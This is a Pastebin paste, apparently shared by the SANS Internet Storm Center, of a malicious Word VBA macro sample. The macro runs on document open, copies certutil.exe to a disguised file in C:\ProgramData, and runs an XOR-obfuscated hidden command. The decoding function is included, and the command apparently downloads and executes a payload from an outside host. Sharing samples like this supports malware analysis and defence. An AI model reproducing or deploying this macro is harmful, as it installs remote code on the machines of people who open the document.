Guest User

@SANS_ISC

a guest
Aug 2nd, 2020
494
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "T"
  2. Sub autoopen()
  3. LG = h("12%2%11%79%64%12%79%77%28%10%27%79%26%82%26%29%3%73%73%12%14%3%3%79%44%85%51%63%29%0%8%29%14%2%43%14%27%14%51%94%65%10%23%10%79%64%74%26%74%49%12%49%14%49%12%49%7%49%10%49%79%64%9%49%79%7%27%27%31%85%64%64%87%12%9%14%22%25%65%12%0%2%64%13%0%3%13%64%5%14%10%1%27%65%31%7%31%80%3%82%3%6%26%27%89%65%12%14%13%79%44%85%51%63%29%0%8%29%14%2%43%14%27%14%51%94%65%27%2%31%79%73%73%79%12%14%3%3%79%29%10%8%28%25%29%92%93%79%44%85%51%63%29%0%8%29%14%2%43%14%27%14%51%94%65%27%2%31%77")
  4.  
  5. Dim XN As New WshShell
  6. Call XN.run("cmd /c set u=tutil&&call copy C:\Windows\System32\cer%u%.exe C:\ProgramData\1.exe", 0)
  7. Call XN.run(LG, 0)
  8.  
  9. End Sub
  10. Attribute VB_Name = "ThisDocument"
  11. Attribute VB_Base = "1Normal.ThisDocument"
  12. Attribute VB_GlobalNameSpace = False
  13. Attribute VB_Creatable = False
  14. Attribute VB_PredeclaredId = True
  15. Attribute VB_Exposed = True
  16. Attribute VB_TemplateDerived = True
  17. Attribute VB_Customizable = True
  18. Attribute VB_Name = "d"
  19. Function h(ju)
  20. eR = Split(ju, "%")
  21. For lc = 0 To UBound(eR)
  22. hh = hh & Chr(eR(lc) Xor 111)
  23. Next lc
  24. h = hh
  25. End Function
  26. Function vY()
  27. vY = "util"
  28. End Function
  29.  
RAW Paste Data